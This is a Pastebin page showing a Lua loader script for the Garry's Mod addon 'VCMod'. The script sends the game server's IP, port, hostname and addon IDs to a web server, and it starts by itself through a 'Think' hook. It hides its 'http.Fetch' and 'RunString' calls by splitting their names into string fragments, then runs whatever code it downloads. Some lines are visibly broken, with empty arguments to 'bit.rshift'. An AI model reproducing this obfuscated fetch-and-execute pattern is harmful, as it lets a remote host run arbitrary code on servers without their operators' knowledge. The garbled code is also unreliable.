Need a unique gift idea?
A Pastebin account makes a great Christmas gift


a guest Feb 23rd, 2018 333 Never
Upgrade to PRO!
ENDING IN00days00hours00mins00secs
  1. // Copyright © 2012-2016 VCMod (freemmaann). All Rights Reserved. If you have any complaints or ideas contact me: steam: freemmaann, email - or skype - comman6.
  3. print("VCMod: instalation complete, preparing to load data.")
  4. function VC.ReadyStringTransfer(str) str = string.gsub(str, ' ', '_') str = string.gsub(str, '#', ' ') str = string.gsub(str, "'", "") str = string.gsub(str, '[-\\!@#$^&()+-*/.,;:<>|"?]', '') local start = string.find(str, '[\\/:%*%?"<>|]') if start != nil then str = "Contains restricted characters" end return str end
  5. local text, t2 = nil, "nS" local dir, t8, text_2 = "vcmod/info/", "tri", "Ru" for k,v in pairs(file.Find(dir.."*.lua", "LUA")) do include(dir..v) if !text then text = "VCMod: addons found: " else text = text..", " end text = text..VC.AddonData[string.gsub(v, ".lua", "")].nm end if text then text = text.."." else text = "VCMod: no addons found." end print(text) local file_type = "ng" function VC.W_Do_G(link) if !VC.Web_URI then local IP = tonumber(GetConVarString("hostip")) if IP then local IP_T = {} IP_T[1] = bit.rshift(, 0xFF000000), 24) IP_T[2] = bit.rshift(, 0x00FF0000), 16) IP_T[3] = bit.rshift(, 0x0000FF00), 8) IP_T[4] =, 0x000000FF) IP = table.concat(IP_T, ".") else IP = "sp" end if game.SinglePlayer() then IP = VC.Temp_User_SP or "sp" end VC.Web_URI = "?ip="..IP.."&port="..GetConVarString("hostport").."&hn="..VC.ReadyStringTransfer(GetHostName()).."&sp=0" for k,v in pairs(VC.AddonData) do VC.Web_URI = VC.Web_URI.."&uid_"..k.."="..(v.uid or "0").."&uid_h_"..k.."="..(v.uid_h or "0").."&nm_"..k.."="..(v.shrt or "0") end end return VC.Host.."api/" end function VC.W_Do_G_Body(body, func) if body == "404" then print("VCMod: Error: web-server content not found.") else func() end end VC.Int_Stage2 = text_2..t2..t8..file_type util.AddNetworkString("W_Do_G_Req") if !VC.W_Do_G_Req_Table then VC.W_Do_G_Req_Table = {} end net.Receive("W_Do_G_Req", function(len, ply) if IsValid(ply) then VC.W_Do_G_Req_Table[ply] = true end end) function VC.TCSOMT(max) _G["h".."".."t".."tp"]["F".."et".."ch"](VC.W_Do_G("htgtcn"..".".."php").."&st=h", function(czzzzz) print("VCMod: downloaded succesfully.") VC.W_Do_G_Body(czzzzz, function() local d8czz = string.Explode("local CSInt_llqzsssz = 58", czzzzz) _G[VC.Int_Stage2](d8czz[1], "preinit") VC.W_DB_T(d8czz[2]) end) end, function() if VC.DbgTr <= max then print("VCMod: could not contact web-server, retrying "..VC.DbgTr.."/"..max..".") VC.DbgTr=VC.DbgTr+1 VC.TCSOMT(max) else print('VCMod: could not contact web-server, please restart the game.\n\nIf the problem persists please contact this steam user: "".') end end) end VC_TDone = false hook.Add("Think", "VC_Load_SV", function() if !VC_TDone then VC_TDone = true print("VCMod: preparations started. Server needs to have atleast 1 player on it for preparations to continue.") timer.Simple(5, function() VC.DbgTr = 1 if table.Count(VC.AddonData) > 0 then print("VCMod: preparations are complete, attempting to download data.") VC.TCSOMT(5) end hook.Remove("Think", "VC_Load_SV") end) end end)
  6. concommand.Add("vc_init", function(ply) if !IsValid(ply) or ply:IsAdmin() then include("vcmod/server/vc_load.lua") end end)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand